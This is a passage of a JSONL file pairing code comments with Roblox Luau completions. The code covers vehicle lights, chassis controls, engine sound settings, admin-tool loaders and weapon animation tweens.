0\n\t\t\tspot.Range = 0\n\t\t\tspot.Face = Enum.NormalId.Back\n\t\t\tspot.Color = Color3.fromRGB(INDcolor[1], INDcolor[2], INDcolor[3])\t\n\t\t\tspot.Shadows = true\n\t\telseif child.Name == \"L\" and child.Parent.Name == \"Side\" and #child:GetChildren() < 1 then\n\t\t\tlocal spot = Instance.new(\"SpotLight\", child)\n\t\t\tspot.Name = \"L\"\n\t\t\tspot.Brightness = 0\n\t\t\tspot.Range = 0\n\t\t\tspot.Face = Enum.NormalId.Left\n\t\t\tspot.Color = Color3.fromRGB(INDcolor[1], INDcolor[2], INDcolor[3])\n\t\t\tspot.Shadows = true\n\t\telseif child.Name == \"LN\" then\n\t\t\tif child:IsA(\"MeshPart\") then\n\t\t\t\tchild.TextureID = \"\"\n\t\t\tend\n\t\t\tchild.Material = Enum.Material.Neon\n\t\t\tchild.Color = Color3.fromRGB(INDcolor[1], INDcolor[2], INDcolor[3])\n\t\t\tchild.Transparency = 1\t\t\t\t\t\t\t\n\t\telseif string.sub(child.Name, 1, 2) == \"SI\" then\n\t\t\tif child:IsA(\"MeshPart\") then\n\t\t\t\tchild.TextureID = \"\"\n\t\t\tend\n\t\t\tchild.Material = Enum.Material.Neon\n\t\t\tchild.Color = Color3.fromRGB(INDcolor[1], INDcolor[2], INDcolor[3])\n\t\t\tchild.Transparency = 1\t\n\t\tend\t \n\tend\n\t\n\tfor idx, child in pairs(lights.RightInd:GetDescendants()) do\n\t\tif child.Name == \"L\" and child.Parent.Name == \"Front\" and #child:GetChildren() < 1 then\n\t\t\tlocal spot = Instance.new(\"SpotLight\", child)\n\t\t\tspot.Name = \"L\"\n\t\t\tspot.Brightness = 0\n\t\t\tspot.Range = 0\n\t\t\tspot.Face = Enum.NormalId.Front\n\t\t\tspot.Color = Color3.fromRGB(INDcolor[1], INDcolor[2], INDcolor[3])\n\t\t\tspot.Shadows = true\n\t\telseif child.Name == \"L\" and child.Parent.Name == \"Rear\" and #child:GetChildren() < 1 then\t\t\t\n\t\t\tlocal spot = Instance.new(\"SpotLight\", child)\n\t\t\tspot.Name = \"L\"\n\t\t\tspot.Brightness = 0\n\t\t\tspot.Range = 0\n\t\t\tspot.Face = Enum.NormalId.Back\n\t\t\tspot.Color = Color3.fromRGB(INDcolor[1], INDcolor[2], INDcolor[3])\n\t\t\tspot.Shadows = true\n\t\telseif child.Name == \"L\" and child.Parent.Name == \"Side\" and #child:GetChildren() < 1 then\n\t\t\tlocal spot = Instance.new(\"SpotLight\", child)\n\t\t\tspot.Name = \"L\"\n\t\t\tspot.Brightness = 0\n\t\t\tspot.Range = 0\n\t\t\tspot.Face = Enum.NormalId.Right\n\t\t\tspot.Color = Color3.fromRGB(INDcolor[1], INDcolor[2], INDcolor[3])\n\t\t\tspot.Shadows = true\n\t\telseif child.Name == \"LN\" then\n\t\t\tif child:IsA(\"MeshPart\") then\n\t\t\t\tchild.TextureID = \"\"\n\t\t\tend\n\t\t\tchild.Material = Enum.Material.Neon\n\t\t\tchild.Color = Color3.fromRGB(INDcolor[1], INDcolor[2], INDcolor[3])\n\t\t\tchild.Transparency = 1\t\n\t\telseif string.sub(child.Name, 1, 2) == \"SI\" then\n\t\t\tif child:IsA(\"MeshPart\") then\n\t\t\t\tchild.TextureID = \"\"\n\t\t\tend\n\t\t\tchild.Material = Enum.Material.Neon\n\t\t\tchild.Color = Color3.fromRGB(INDcolor[1], INDcolor[2], INDcolor[3])\n\t\t\tchild.Transparency = 1\t\t\n\t\tend\t\n\tend\t\n\t\n\tfor idx, child in pairs(tb) do\n\t\tchild.ImageTransparency = 1\n\tend\n\t\n\tif not popups then\n\t\tif light_type == \"Pure White\" then\n\t\t\tfor idx, child in pairs(lights.Headlights:GetDescendants()) do\n\t\t\t\tif child.Name == \"L\" and #child:GetChildren() < 1 then\t\t\n\t\t\t\t\tlocal spot = Instance.new(\"SpotLight\", child)\n\t\t\t\t\tspot.Name = \"L\"\n\t\t\t\t\tspot.Brightness = 0\n\t\t\t\t\tspot.Range = 0\n\t\t\t\t\tspot.Face = Enum.NormalId.Front\n\t\t\t\t\tspot.Color = Color3.fromRGB(Lcolors[1][1], Lcolors[1][2], Lcolors[1][3])\n\t\t\t\t\tspot.Shadows = true\n\t\t\t\telseif child.Name == \"LN\" then\n\t\t\t\t\tif child:IsA(\"MeshPart\") then\n\t\t\t\t\t\tchild.TextureID = \"\"\n\t\t\t\t\tend\n\t\t\t\t\tchild.Material = Enum.Material.Neon\n\t\t\t\t\tchild.Color = Color3.fromRGB(Pcolors[1][1], Pcolors[1][2], Pcolors[1][3])\n\t\t\t\t\tchild.Transparency = 1\t\t\t\t\t\n\t\t\t\tend\t \n\t\t\tend\n\t\telseif light_type == \"OEM White\" then\n\t\t\tfor idx, child in pairs(lights.Headlights:GetDescendants()) do\n\t\t\t\tif child.Name == \"L\" and #child:GetChildren() < 1 then\n\t\t\t\t\tlocal spot = Instance.new(\"SpotLight\", child)\n\t\t\t\t\tspot.Name = \"L\"\n\t\t\t\t\tspot.Brightness = 0\n\t\t\t\t\tspot.Range = 0\n\t\t\t\t\tspot.Face = Enum.NormalId.Front\n\t\t\t\t\tspot.Color = Color3.fromRGB(Lcolors[2][1], Lcolors[2][2], Lcolors[2][3])\n\t\t\t\t\tspot.Shadows = true\n\t\t\t\telseif child.Name == \"LN\" then\n\t\t\t\t\tif child:IsA(\"MeshPart\") then\n\t\t\t\t\t\tchild.TextureID = \"\"\n\t\t\t\t\tend\n\t\t\t\t\tchild.Material = Enum.Material.Neon\n\t\t\t\t\tchild.Color = Color3.fromRGB(Pcolors[2][1], Pcolors[2][2], Pcolors[2][3])\n\t\t\t\t\tchild.Transparency = 1\t\t\t\t\t\n\t\t\t\tend\t \n\t\t\tend\t\t\n\t\telseif light_type == \"Xenon\" then\n\t\t\tfor idx, child in pairs(lights.Headlights:GetDescendants()) do\n\t\t\t\tif child.Name == \"L\" and #child:GetChildren() < 1 then\n\t\t\t\t\tlocal spot = Instance.new(\"SpotLight\", child)\n\t\t\t\t\tspot.Name = \"L\"\n\t\t\t\t\tspot.Brightness = 0\n\t\t\t\t\tspot.Range = 0\n\t\t\t\t\tspot.Face = Enum.NormalId.Front\n\t\t\t\t\tspot.Color = Color3.fromRGB(Lcolors[3][1], Lcolors[3][2], Lcolors[3][3])\n\t\t\t\t\tspot.Shadows = true\n\t\t\t\telseif child.Name == \"LN\" then\n\t\t\t\t\tif child:IsA(\"MeshPart\") then\n\t\t\t\t\t\tchild.TextureID = \"\"\n\t\t\t\t\tend\n\t\t\t\t\tchild.Material = Enum.Material.Neon\n\t\t\t\t\tchild.Color = Color3.fromRGB(Pcolors[3][1], Pcolors[3][2], Pcolors[3][3])\n\t\t\t\t\tchild.Transparency = 1\t\t\t\t\t\n\t\t\t\tend\t \n\t\t\tend\t\t\n\t\tend\n\telse\n\t\tif light_type == \"Pure White\" then\n\t\t\tfor idx, child in pairs(PHeadlights.Parts.Headlights:GetChildren()) do\n\t\t\t\tif child.Name == \"L\" and #child:GetChildren() < 1 then\t\t\n\t\t\t\t\tlocal spot = Instance.new(\"SpotLight\", child)\n\t\t\t\t\tspot.Name = \"L\"\n\t\t\t\t\tspot.Brightness = 0\n\t\t\t\t\tspot.Range = 0\n\t\t\t\t\tspot.Face = Enum.NormalId.Front\n\t\t\t\t\tspot.Color = Color3.fromRGB(Lcolors[1][1], Lcolors[1][2], Lcolors[1][3])\n\t\t\t\t\tspot.Shadows = true\n\t\t\t\telseif child.Name == \"LN\" then\n\t\t\t\t\tif child:IsA(\"MeshPart\") then\n\t\t\t\t\t\tchild.TextureID = \"\"\n\t\t\t\t\tend\n\t\t\t\t\tchild.Material = Enum.Material.Neon\n\t\t\t\t\tchild.Color = Color3.fromRGB(Pcolors[1][1], Pcolors[1][2], Pcolors[1][3])\n\t\t\t\t\tchild.Transparency = 1\t\t\t\t\t\n\t\t\t\tend\t \n\t\t\tend\n\t\telseif light_type == \"OEM White\" then\n\t\t\tfor idx, child in pairs(PHeadlights.Parts.Headlights:GetChildren()) do\n\t\t\t\tif child.Name == \"L\" and #child:GetChildren() < 1 then\n\t\t\t\t\tlocal spot = Instance.new(\"SpotLight\", child)\n\t\t\t\t\tspot.Name = \"L\"\n\t\t\t\t\tspot.Brightness = 0\n\t\t\t\t\tspot.Range = 0\n\t\t\t\t\tspot.Face = Enum.NormalId.Front\n\t\t\t\t\tspot.Color = Color3.fromRGB(Lcolors[2][1], Lcolors[2][2], Lcolors[2][3])\n\t\t\t\t\tspot.Shadows = true\n\t\t\t\telseif child.Name == \"LN\" then\n\t\t\t\t\tif child:IsA(\"MeshPart\") then\n\t\t\t\t\t\tchild.TextureID = \"\"\n\t\t\t\t\tend\n\t\t\t\t\tchild.Material = Enum.Material.Neon\n\t\t\t\t\tchild.Color = Color3.fromRGB(Pcolors[2][1], Pcolors[2][2], Pcolors[2][3])\n\t\t\t\t\tchild.Transparency = 1\t\t\t\t\t\n\t\t\t\tend\t \n\t\t\tend\t\t\n\t\telseif light_type == \"Xenon\" then\n\t\t\tfor idx, child in pairs(PHeadlights.Parts.Headlights:GetChildren()) do\n\t\t\t\tif child.Name == \"L\" and #child:GetChildren() < 1 then\n\t\t\t\t\tlocal spot = Instance.new(\"SpotLight\", child)\n\t\t\t\t\tspot.Name = \"L\"\n\t\t\t\t\tspot.Brightness = 0\n\t\t\t\t\tspot.Range = 0\n\t\t\t\t\tspot.Face = Enum.NormalId.Front\n\t\t\t\t\tspot.Color = Color3.fromRGB(Lcolors[3][1], Lcolors[3][2], Lcolors[3][3])\n\t\t\t\t\tspot.Shadows = true\n\t\t\t\telseif child.Name == \"LN\" then\n\t\t\t\t\tif child:IsA(\"MeshPart\") then\n\t\t\t\t\t\tchild.TextureID = \"\"\n\t\t\t\t\tend\n\t\t\t\t\tchild.Material = Enum.Material.Neon\n\t\t\t\t\tchild.Color = Color3.fromRGB(Pcolors[3][1], Pcolors[3][2], Pcolors[3][3])\n\t\t\t\t\tchild.Transparency = 1\t\t\t\t\t\n\t\t\t\tend\t \n\t\t\tend\t\t\n\t\tend\t\t\n\tend\n\tfor idx, child in pairs(lights.Fog:GetChildren()) do\n\t\tif child.Name == \"L\" then\n\t\t\tlocal spot = Instance.new(\"SpotLight\", child)\n\t\t\tspot.Name = \"L\"\n\t\t\tspot.Brightness = 0\n\t\t\tspot.Range = 0\n\t\t\tspot.Face = Enum.NormalId.Front\n\t\t\tspot.Color = fog_color\n\t\t\tspot.Shadows = true\n\t\telseif child.Name == \"LN\" then\n\t\t\tif child:IsA(\"MeshPart\") then\n\t\t\t\tchild.TextureID = \"\"\n\t\t\tend\n\t\t\tchild.Material = Enum.Material.Neon\n\t\t\tchild.Color = fog_color\n\t\t\tchild.Transparency = 1\t\n\t\tend\t\n\tend\n\tprint(\"EpicLights Version 2 // Setup completed!\")\nend \n\n"} +{"prompt": "----- MAGIC NUMBERS ABOUT THE TOOL -----\n-- How much damage a bullet does", "completion": "\nlocal Damage = 70"} +{"prompt": "-- you do not need to touch this script, it is only a loader to load Commander", "completion": "\nrequire(script.MainModule)(script.Settings, script.Packages, script.Stylesheets)\n"} +{"prompt": "--end)", "completion": "\n\nwhile true do\n\n\tif Dead then\n\t\tbreak\n\tend\n\n\tAI()\n\n\twait()\nend\n\n"} +{"prompt": "-- Returns the ancestor that contains a Humanoid, if it exists", "completion": "\nlocal function FindCharacterAncestor(subject)\n\tif subject and subject ~= Workspace then\n\t\tlocal humanoid = subject:FindFirstChild('Humanoid')\n\t\tif humanoid then\n\t\t\treturn subject, humanoid\n\t\telse\n\t\t\treturn FindCharacterAncestor(subject.Parent)\n\t\tend\n\tend\n\treturn nil\nend\n"} +{"prompt": "--F.updateSound = function(Sound, Pitch, Volume)\n--\tif Sound then\n--\t\tif Pitch then\n--\t\t\tSound.Pitch = Pitch\n--\t\tend\n--\t\tif Volume then\n--\t\t\tSound.Volume = Volume\n--\t\tend\n--\tend\n--end", "completion": "\n\nF.lock = function(x)\n\tif x then\n\t\tfor i,v in pairs(script.Parent.Parent.Misc:GetDescendants()) do\n\t\t\tif v:IsA(\"Motor\") then\n\t\t\t\tif v.Parent.Parent.Name == \"Mirror\" then\n\t\t\t\telse v.DesiredAngle = 0\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tcarSeat.Lock:Play()\n\telse\n\t\tcarSeat.Unlock:Play()\n\t\twait(.5)\n\t\tcarSeat.Unlock:Play()\n\tend\n\tfor i,v in pairs(script.Parent.Parent.Misc:GetDescendants()) do\n\t\tif v:IsA(\"ClickDetector\") then\n\t\t\tv.MaxActivationDistance = x and 0 or 12\n\t\tend\n\tend\nend\n\nlocal on = 0\n\nF.rs = function(y)\n\tlocal tune = require(carSeat.Parent:FindFirstChild(\"A-Chassis Tune\"))\n\tcarSeat.IsOn.Value = y\n\tif y then\n\t\tcarSeat.Startup:Play()\n\t\tif not car.DriveSeat.IsOn.Value then on=math.max(on-.015,0) else on=1 end\n\t\tcar.DriveSeat.Rev.Pitch = (car.DriveSeat.Rev.SetPitch.Value + car.DriveSeat.Rev.SetRev.Value*tune.IdleRPM/tune.Redline)*on^2\n\telse car.DriveSeat.Rev.Pitch = 0\n\t\tcarSeat.Startup:Stop()\n\tend\nend\n\nF.user = function()\n\tcarSeat.Parent:Destroy()\nend\n\nF.tk = function(b)\n\tcarSeat.Parent.Misc.TK.SS.Motor.DesiredAngle = b and 1.5 or 0\nend\n\nscript.Parent.OnServerEvent:connect(function(Player, Func, ...)\n\tif F[Func] then\n\t\tF[Func](...)\n\tend\nend)\n"} +{"prompt": "--[[**\n\tensures value is an enum of the correct type\n\n\t@param enum The enum to check\n\n\t@returns A function that will return true iff the condition is passed\n**--]]", "completion": "\nfunction t.enum(enum)\n\tassert(t.Enum(enum))\n\treturn function(value)\n\t\tlocal enumItemSuccess, enumItemErrMsg = t.EnumItem(value)\n\t\tif not enumItemSuccess then\n\t\t\treturn false, enumItemErrMsg\n\t\tend\n\n\t\tif value.EnumType == enum then\n\t\t\treturn true\n\t\telse\n\t\t\treturn false, string.format(\"enum of %s expected, got enum of %s\", tostring(enum), tostring(value.EnumType))\n\t\tend\n\tend\nend\n\ndo\n\tlocal checkWrap = t.tuple(t.callback, t.callback)\n"} +{"prompt": "--- Enables the \"Mash to open\" feature", "completion": "\nfunction Cmdr:SetMashToEnable(isEnabled)\n\tself.MashToEnable = isEnabled\n\n\tif isEnabled then\n\t\tself:SetEnabled(false)\n\tend\nend\n"} +{"prompt": "-- Sound variables", "completion": "\nlocal RunSoundVol = 0.5\nlocal RunSoundPitchLimit = 1.25\n"} +{"prompt": "------------------------------------------------------------------------\n-- look up token and return keyword if found (also called by parser)\n------------------------------------------------------------------------", "completion": "\nfunction luaX:token2str(ls, token)\n if string.sub(token, 1, 3) ~= \"TK_\" then\n if string.find(token, \"%c\") then\n return string.format(\"char(%d)\", string.byte(token))\n end\n return token\n else\n end\n return self.tokens[token]\nend\n"} +{"prompt": "-- \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u044f\u0440\u043a\u043e\u0441\u0442\u044c\u044e \u0441\u0432\u0435\u0442\u0430 \u043e\u0442 \u0438\u0433\u0440\u043e\u043a\u0430 \u0432 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0441\u0443\u0442\u043e\u043a", "completion": "\n\nme = script.Parent\n\nwhile true do\n\ttimer=game.Lighting.ClockTime\n\tdelta=(math.abs( 12 - timer )) / 12 + 0.3\n\t-- print(\"DELTA LIGHT = \",delta)\t\n\tme.Color=Color3.fromRGB(255*delta,255*delta,127*delta)\n\twait(1)\nend\n"} +{"prompt": "-- Engine Sound Parameters", "completion": "\nlocal RPM_CROSSOVER = 250 -- How much more engine power is needed to crossover to the next engine audio track\nlocal ENGINE_GAIN_ACCEL = 0.1 -- Exponent that builds the engine RPM when accelerating (gives the engine sound more oomph the higher the value)\nlocal ENGINE_GAIN_DECCEL = 0.5 -- Exponent that builds the engine RPM when decelerating (braking)\nlocal BASE_RPM = Configuration:WaitForChild(\"BaseEngineRPM\") and Configuration.BaseEngineRPM.Value or 1500 -- Resting state for the engine\nlocal MAX_RPM = Configuration:WaitForChild(\"MaxEngineRPM\") and Configuration.MaxEngineRPM.Value or 5000 -- The engine RPM correlating to the highest pitch for engine sounds\nlocal MAX_IDEAL_RPM = MAX_RPM-(MAX_RPM-BASE_RPM)/4 -- engine RPM correlating to normal usage (not under stress)\nlocal MAX_SPEED = 125 -- The rotational velocity a vehicle's wheels would be reaching for the highest pitched engine sounds\n"} +{"prompt": "--//Client Animations", "completion": "\n\t\tIdleAnim = function(char, speed, objs)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play() -- require(script).FakeRightPos (For fake arms) | require(script).RightArmPos (For real arms)\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).LeftPos}):Play() -- require(script).FakeLeftPos (For fake arms) | require(script).LeftArmPos (For real arms)\t\n\t\tend;\n\t\t\n\t\tStanceDown = function(char, speed, objs)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, 0.45, -1.25) * CFrame.Angles(math.rad(-75), math.rad(0), math.rad(0))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.1,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play()\n\t\t\twait(0.3)\t\n\t\tend;\n\n\t\tStanceUp = function(char, speed, objs)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-1, -.75, -1.25) * CFrame.Angles(math.rad(-160), math.rad(0), math.rad(0))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(.75,-0.75,-1.35) * CFrame.Angles(math.rad(-170),math.rad(60),math.rad(15))}):Play()\n\t\t\twait(0.3)\t\n\t\tend;\n\t\t\n\t\tPatrol = function(char, speed, objs)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.8, 0.3, -1.15) * CFrame.Angles(math.rad(-65), math.rad(0), math.rad(0))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.9,0.4,-0.9) * CFrame.Angles(math.rad(-50),math.rad(45),math.rad(-45))}):Play()\n\t\t\twait(0.3)\t\n\t\tend;\n\n\t\tSprintAnim = function(char, speed, objs)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-1, -.75, -1.25) * CFrame.Angles(math.rad(-160), math.rad(0), math.rad(0))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(.75,-0.75,-1.35) * CFrame.Angles(math.rad(-170),math.rad(60),math.rad(15))}):Play()\n\t\t\twait(0.3)\n\t\tend;\n\n\t\tEquipAnim = function(char, speed, objs)\n\t\t\tts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play()\n\t\t\twait(0.1)\n\t\t\tobjs[5].Handle:WaitForChild(\"AimUp\"):Play()\n\t\t\tts:Create(objs[2],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).RightPos}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).LeftPos}):Play()\n\t\t\twait(0.5)\n\t\tend;\n\n\t\tZoomAnim = function(char, speed, objs)\n\t\t\t--ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.65, -0.7, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(30))}):Play()\n\t\t\twait(0.3)\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.25, -1.1, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(5))}):Play()\n\t\t\tts:Create(objs[5].g33:WaitForChild(\"g33\"),TweenInfo.new(0.3),{C1 = CFrame.new(-0.2, 0.21, 0)*CFrame.Angles(0, 0, math.rad(90))*CFrame.new(0.225, -0.75, 0)}):Play()\n\t\t\twait(0.3)\n\t\tend;\n\n\t\tUnZoomAnim = function(char, speed, objs)\n\t\t\t--ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.25, -1.1, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(5))}):Play()\n\t\t\twait(0.3)\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.65, -0.7, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(30))}):Play()\n\t\t\tts:Create(objs[5].g33:WaitForChild(\"g33\"),TweenInfo.new(0.3),{C1 = CFrame.new()}):Play()\n\t\t\twait(0.3)\n\t\tend;\n\n\tChamberAnim = function(char, speed, objs)\n\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(0.6, -0.2, -1) * CFrame.Angles(math.rad(-95), math.rad(30), math.rad(-60))}):Play()\n\t\tts:Create(objs[3],TweenInfo.new(0.35),{C1 = CFrame.new(0.3,-0.9,-0.7) * CFrame.Angles(math.rad(-120),math.rad(70),math.rad(15))}):Play()\n\t\twait(0.35)\t\n\t\tobjs[5].Bolt:WaitForChild(\"SlidePull\"):Play()\n\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(0.6, -0.5, -1) * CFrame.Angles(math.rad(-110), math.rad(30), math.rad(-60))}):Play()\n\t\tts:Create(objs[3],TweenInfo.new(0.25),{C1 = CFrame.new(-0.2,-1,-0.6) * CFrame.Angles(math.rad(-120),math.rad(70),math.rad(15))}):Play()\n\t\tts:Create(objs[5].Handle:WaitForChild(\"Bolt\"),TweenInfo.new(0.25),{C0 = CFrame.new(0,0,0.4) * CFrame.Angles(0,math.rad(0),0)}):Play()\n\t\tts:Create(objs[5].Handle:WaitForChild(\"Slide\"),TweenInfo.new(0.25),{C0 = CFrame.new(0,0,0.4) * CFrame.Angles(0,math.rad(0),0)}):Play()\n\t\twait(0.3)\n\t\tts:Create(objs[2],TweenInfo.new(0.2),{C1 = CFrame.new(0.6, 0, -1) * CFrame.Angles(math.rad(-95), math.rad(30), math.rad(-60))}):Play()\n\t\tts:Create(objs[3],TweenInfo.new(0.25),{C1 = CFrame.new(-0.2,-1.8,-0.8) * CFrame.Angles(math.rad(-120),math.rad(70),math.rad(15))}):Play()\n\t\tobjs[5].Bolt:WaitForChild(\"SlideRelease\"):Play()\n\t\tts:Create(objs[5].Handle:WaitForChild(\"Bolt\"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()\n\t\tts:Create(objs[5].Handle:WaitForChild(\"Slide\"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()\n\t\twait(0.2)\n\tend;\n\n\tChamberBKAnim = function(char, speed, objs)\n\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play()\n\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.38,0.05,-1.5) * CFrame.Angles(math.rad(-120),math.rad(20),math.rad(0))}):Play()\n\t\twait(0.3)\t\n\t\tobjs[5].Bolt:WaitForChild(\"SlideRelease\"):Play()\n\t\tts:Create(objs[5].Handle:WaitForChild(\"Bolt\"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()\n\t\tts:Create(objs[5].Handle:WaitForChild(\"Slide\"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()\n\t\twait(0.15)\n\tend;\n\t\t\n\t\tCheckAnim = function(char, speed, objs)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0.5, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()\n\t\t\twait(.35)\n\t\t\tlocal MagC = objs[5]:WaitForChild(\"Mag\"):clone()\n\t\t\t\tobjs[5].Mag.Transparency = 1\n\t\t\t\tMagC.Parent = objs[5]\n\t\t\t\tMagC.Name = \"MagC\"\n\t\t\t\tMagC.Transparency = 0\t\t\t\n\n\t\t\tlocal MagCW = Instance.new(\"Motor6D\")\n\t\t\t\tMagCW.Part0 = MagC\n\t\t\t\tMagCW.Part1 = objs[3].Parent.Parent:WaitForChild(\"Left Arm\")\n\t\t\t\tMagCW.Parent = MagC\n\t\t\t\tMagCW.C1 = MagC.CFrame:toObjectSpace(objs[3].Parent.Parent:WaitForChild(\"Left Arm\").CFrame)\n\t\t\tts:Create(MagCW,TweenInfo.new(0),{C0 = CFrame.new(.3, -0.2, .85) * CFrame.Angles(math.rad(0), math.rad(90), math.rad(90))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.45,0.475,-2.05) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()\n\t\t\tobjs[5].Handle:WaitForChild(\"MagOut\"):Play()\n\t\t\twait(0.3)\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.15,0.475,-1.5) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(0))}):Play()\n\t\t\twait(1.5)\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.45,0.475,-2.05) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()\n\t\t\twait(0.3)\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()\n\t\t\tobjs[5].Handle:WaitForChild(\"MagIn\"):Play()\n\t\t\tMagC:Destroy()\n\t\t\tobjs[5].Mag.Transparency = 0\t\n\t\t\twait(0.3)\n\t\tend;\n\t\t\n\t\tShellInsertAnim = function(char, speed, objs)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-115), math.rad(-2), math.rad(9))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.55,-0.4,-1.15) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play()\n\t\t\twait(0.3)\n\t\t\tobjs[5].Handle:WaitForChild(\"ShellInsert\"):Play()\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-110), math.rad(-2), math.rad(9))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.6,-0.3,-1.1) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play()\n\t\t\tobjs[6].Value = objs[6].Value - 1\n\t\t\tobjs[7].Value = objs[7].Value + 1\n\t\t\twait(0.3)\n\t\tend;\n\t\t\n\t\tReloadAnim = function(char, speed, objs)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.425, -0.75) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(30))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.35,-0.95,-1.45) * CFrame.Angles(math.rad(-130),math.rad(75),math.rad(15))}):Play()\n\t\t\twait(0.3)\t\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.425, -0.75) * CFrame.Angles(math.rad(-85), math.rad(0), math.rad(30))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-1.5,-1.65) * CFrame.Angles(math.rad(-125),math.rad(75),math.rad(15))}):Play()\n\t\t\t\n\t\t\tlocal MagC = objs[5]:WaitForChild(\"Mag\"):clone()\n\t\t\t\tobjs[5].Mag.Transparency = 1\n\t\t\t\tMagC.Parent = objs[5]\n\t\t\t\tMagC.Name = \"MagC\"\n\t\t\t\tMagC.Transparency = 0\n\t\t\t\n\t\t\tlocal MagCW = Instance.new(\"Motor6D\")\n\t\t\t\tMagCW.Part0 = MagC\n\t\t\t\tMagCW.Part1 = objs[3].Parent.Parent:WaitForChild(\"Left Arm\")\n\t\t\t\tMagCW.Parent = MagC\n\t\t\t\tMagCW.C1 = 